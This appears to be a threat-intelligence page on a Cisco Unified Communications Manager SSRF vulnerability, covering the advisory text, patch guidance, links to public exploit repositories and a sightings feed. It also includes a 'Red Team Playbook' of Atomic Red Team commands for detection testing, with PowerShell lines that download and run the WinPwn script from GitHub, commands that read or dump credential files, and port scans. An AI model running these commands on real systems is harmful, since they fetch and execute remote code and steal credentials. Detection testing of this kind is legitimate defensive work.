CVE-2026-20230

HIGH CISA KEV POC Pub 03/06 Upd 01/07

Overview

This vulnerability is a server-side request forgery (SSRF) arising from improper input validation of specific HTTP requests in Cisco Unified Communications Manager and its Session Management Edition. The flaw exists within the WebDialer service component, which processes HTTP requests without sufficient sanitization, allowing crafted requests to manipulate internal server behavior. The root cause is the lack of validation on input parameters that control file operations on the underlying operating system.

Vulnerability Description

A vulnerability in Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an unauthenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device. This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root. Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root. Note: To exploit this vulnerability, the WebDialer service must be enabled. WebDialer is disabled by default.

Impact

An unauthenticated remote attacker can exploit this vulnerability to write files on the system hosting Cisco Unified Communications Manager, enabling privilege escalation to root. No user interaction or credentials are required, only that the WebDialer service is enabled. This can lead to full system compromise, allowing attackers to execute arbitrary code with the highest privileges, potentially disrupting communications infrastructure and exposing sensitive data within enterprise environments.

Solution

Cisco has released a security advisory (cisco-sa-cucm-ssrf-cXPnHcW) detailing this vulnerability and recommends applying the patches provided therein. Administrators should update Cisco Unified Communications Manager and Unified CM SME to the fixed versions as specified in the advisory. Additionally, disabling the WebDialer service, which is off by default, can mitigate the risk if immediate patching is not feasible. For detailed patching instructions and version information, refer to Cisco’s official security advisory page.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Cisco Unified Communications Manager and its Session Management Edition arises from improper input validation for specific HTTP requests. This flaw allows an unauthenticated remote attacker to conduct server-side request forgery (SSRF) attacks. In essence, SSRF vulnerabilities enable attackers to manipulate a server into making requests to unintended locations, which can include internal resources that are otherwise protected from external access. The improper validation of input means that crafted HTTP requests can be sent to the affected device, potentially leading to unauthorized file writes on the underlying operating system. This capability is particularly concerning as it can facilitate further escalation of privileges, allowing an attacker to gain root access.

Exploitation of this vulnerability requires the WebDialer service to be enabled, which is not the default setting. However, if an organization has enabled this service, the attack vector becomes significantly more feasible. An attacker could leverage this vulnerability by sending a specifically crafted HTTP request to the device, which would then process the request without proper validation. Once the attacker gains the ability to write files to the underlying operating system, they could deploy malicious scripts or binaries that would enable them to escalate privileges and gain full control over the system. This exploitation method underscores the critical nature of the vulnerability, as it opens the door to further attacks within the network.

The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Cisco Unified Communications Manager for their communication infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, disruption of communication services, or even complete compromise of the affected system. The potential for privilege escalation to root means that an attacker could not only manipulate the Unified Communications Manager but also access other systems and data within the network. This poses significant business risks, including financial loss, reputational damage, and regulatory repercussions, especially in industries where data protection is paramount.

To detect and mitigate this vulnerability, organizations should first ensure that the WebDialer service is disabled unless absolutely necessary. Regular audits of system configurations and services can help identify any instances where this service has been enabled. Additionally, implementing robust input validation and sanitization measures can help prevent SSRF attacks. Network segmentation and strict access controls can also limit the potential damage by restricting access to sensitive internal resources. Organizations should continuously monitor their systems for unusual activity and employ intrusion detection systems to identify potential exploitation attempts. Regular software updates and patches from Cisco should be applied promptly to address any known vulnerabilities and enhance the overall security posture.

In conclusion, the vulnerability in Cisco Unified Communications Manager presents a critical risk due to its potential for exploitation through SSRF attacks. The ability for an attacker to gain root access via improper input validation highlights the importance of maintaining strict security practices and configurations. Organizations must remain vigilant in their security measures, ensuring that they are prepared to detect, mitigate, and respond to such vulnerabilities to safeguard their communication infrastructure and sensitive data.




CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-20230, with a significant increase in observed attempts to leverage this SSRF vulnerability in Cisco Unified Communications Manager environments. Notably, multiple new proof-of-concept exploits have emerged publicly, including several hosted on GitHub, which lowers the barrier for threat actors to weaponize this flaw. This development coincides with the vulnerability’s addition to the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its elevated priority for remediation across critical infrastructure sectors. Our telemetry indicates that exploitation attempts are becoming more frequent and automated, suggesting that adversaries are actively integrating these tools into their operational frameworks. The updated CVSS score of 8.6 and an EPSS score placing it near the top percentile of likely exploitation further elevate the urgency of this threat. Consequently, the risk posture for organizations running affected Cisco Unified Communications Manager versions has shifted from moderate to high, reflecting both the increased availability of exploit code and the growing exploitation activity observed in the wild.

Affected Products (2)

Vendor Product Version CPE
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
HORKimhab/CVE-2026-20230
CVE-2026-20230 - Cisco Unified CM
HORKimhab 1 1 2026-06-05 View
W5M1n9/Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230
W5M1n9 0 1 2026-06-25 View
HalilDeniz/CVE-2026-20230-Scanner
Cisco Unified Communications Manager (Unified CM) deployments affected by CVE-2026-20230.
HalilDeniz 0 0 2026-06-12 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

26 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-06-24
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-05
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-05
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-06-04
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-06-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Server-Side Request Forgery
85% ssrf
Cross-Site Request Forgery
55% csrf
Path Traversal
43% path_traversal

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-664 Server Side Request Forgery
38%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20230
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW
denizhalil.com
NVD API
https://denizhalil.com/2026/06/12/cve-2026-20230-cisco-unified-cm-ssrf/
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20230